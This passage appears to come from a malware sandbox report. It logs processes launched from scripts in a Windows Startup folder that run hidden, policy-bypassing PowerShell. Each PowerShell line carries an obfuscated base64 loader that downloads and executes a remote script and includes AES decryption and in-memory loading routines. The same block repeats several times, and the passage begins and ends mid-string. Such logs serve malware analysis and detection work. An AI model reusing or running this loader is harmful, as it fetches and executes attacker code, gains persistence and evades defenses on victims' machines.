ybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3Jj